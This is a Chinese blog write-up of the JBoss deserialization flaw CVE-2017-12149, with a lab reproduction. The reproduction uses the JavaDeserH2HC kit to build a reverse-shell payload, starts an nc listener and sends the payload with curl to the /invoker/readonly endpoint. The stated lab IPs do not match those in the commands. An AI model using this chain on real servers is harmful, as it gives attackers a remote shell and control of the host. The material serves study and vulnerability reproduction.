(CVE-2017-12149) JBOSS Application Server反序列化命令执行

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(CVE-2017-12149) JBOSS Application Server反序列化命令执行相关的知识,希望对你有一定的参考价值。

漏洞描述

互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大。漏洞危害程度为高危(High)。

影响范围

漏洞影响 5.x 和 6.x 版本的 JBOSSAS;目前评估潜在受影响主机数量超过5000台。

漏洞原理

JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购。

2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

漏洞复现

攻击机:192.168.8.11

靶机:192.168.8.9

打开漏洞环境:

cd /home/ch1/Desktop/vulhub-master/jboss/CVE-2017-12149
docker-compose up -d			
docker ps 			#查看docker进程

访问192.168.8.9:8080,页面正常打开,漏洞环境正常。

查看 jboss 版本

版本为JBossAS-6,符合漏洞版本范围。

访问测试poc:http://192.168.8.9:8080/invoker/readonly

报500错误,说明漏洞存在。

使用攻击poc进行验证:

下载poc:

git clone https://github.com/joaomatosf/JavaDeserH2HC

进入漏洞利用工具包(JavaDeserH2HC

cd /home/kali/Desktop/JavaDeserH2HC

编译执行

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

设置接收shell的IP和端口,这里填攻击机的ip和端口,生成序列化数据。

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.9.132:4444

nc开启监听

nc -lvvp 4444

向靶机发送payload,在JavaDeserH2HC目录下执行

curl http://192.168.9.131:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反弹shell

关闭环境

docker-compose down


仅供学习使用!

以上是关于(CVE-2017-12149) JBOSS Application Server反序列化命令执行的主要内容,如果未能解决你的问题,请参考以下文章

Jboss反序列化漏洞复现(CVE-2017-12149)

JBoss反序列化漏洞(CVE-2017-12149)分析

6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

Jboss反序列化漏洞复现(CVE-2017-12149)

Jboss反序列化漏洞复现(CVE-2017-12149)

(CVE-2017-12149) JBOSS Application Server反序列化命令执行